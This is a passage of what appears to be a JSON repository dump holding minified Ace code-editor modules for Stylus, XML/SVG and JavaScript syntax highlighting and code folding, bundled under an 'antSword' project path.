token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"}]}};r.inherits(o,i),t.StylusHighlightRules=o}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/stylus\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/stylus_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./stylus_highlight_rules\").StylusHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/stylus\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-svg.js",
    "content": "ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, 